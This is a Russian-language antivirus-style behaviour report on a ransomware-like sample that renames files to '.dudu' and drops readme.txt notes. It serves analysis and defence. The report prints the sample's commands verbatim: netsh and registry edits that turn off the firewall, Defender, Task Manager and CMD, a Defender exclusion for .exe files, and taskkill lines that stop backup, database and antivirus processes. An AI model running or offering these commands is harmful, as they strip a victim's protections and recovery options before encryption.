Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'discord' = '%LOCALAPPDATA%\discord.exe'
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\taskkill.exe' /F /IM RTVscan*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM QBFCService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM Intuit.QuickBooks.FCS*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM YooBackup*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM YooIT*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM zhudongfangyu*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM stc_raw_agent*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM VSNAPVSS*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM QBCFMonitorService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM VeeamTransportSvc*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM VeeamDeploymentService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM VeeamNFSSvc*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM PDVFSService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecVSSProvider*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecAgentAccelerator*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecRPCService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM AcrSch2Svc*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM AcronisAgent*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM CASAD2DWebSvc*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM SavRoam*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM CAARCUpdateSvc*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM ccEvtMgr*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM GxCIMgr*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecAgentBrowser*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecDiveciMediaService*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecJobEngine*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM BackupExecManagementService*
- '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
- '%WINDIR%\syswow64\taskkill.exe' /F /IM vss*
- '%WINDIR%\syswow64\netsh.exe' advfirewall set domainprofile state off
- '%WINDIR%\syswow64\taskkill.exe' /F /IM sql*
- '%WINDIR%\syswow64\netsh.exe' advfirewall set privateprofile state off
- '%WINDIR%\syswow64\taskkill.exe' /F /IM svc$*
- '%WINDIR%\syswow64\netsh.exe' advfirewall set publicprofile state off
- '%WINDIR%\syswow64\taskkill.exe' /F /IM memtas*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM sophos*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM veeam*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM backup*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM GxVss*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM GxBlr*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM GxFWD*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM GxCVD*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM DefWatch*
- '%WINDIR%\syswow64\taskkill.exe' /F /IM TeamViewer*
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\id
- D:\install.log.dudu
- D:\$recycle.bin\readme.txt
- D:\readme.txt
- C:\kms\kms_vl_all_aio.cmd.dudu
- C:\kms\kms_vl_all_aio_debug.log.dudu
Сетевая активность
UDP
- 'localhost':58366
- 'localhost':59751
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state off & netsh advfirewall set currentprofile state off & netsh advfirewall set domainprofile state off & netsh advfirewall set privateprofile state off ...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM BackupExecAgentBrowser* & taskkill /F /IM BackupExecDiveciMediaService* & taskkill /F /IM BackupExecJobEngine* & taskkill /F /IM BackupExecManagementService* & taskkill /F /I...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state off & netsh advfirewall set currentprofile state off & netsh advfirewall set domainprofile state off & netsh advfirewall set privateprofile state off ...
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM BackupExecAgentBrowser* & taskkill /F /IM BackupExecDiveciMediaService* & taskkill /F /IM BackupExecJobEngine* & taskkill /F /IM BackupExecManagementService* & taskkill /F /I...
- '%WINDIR%\syswow64\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionExtension .exe
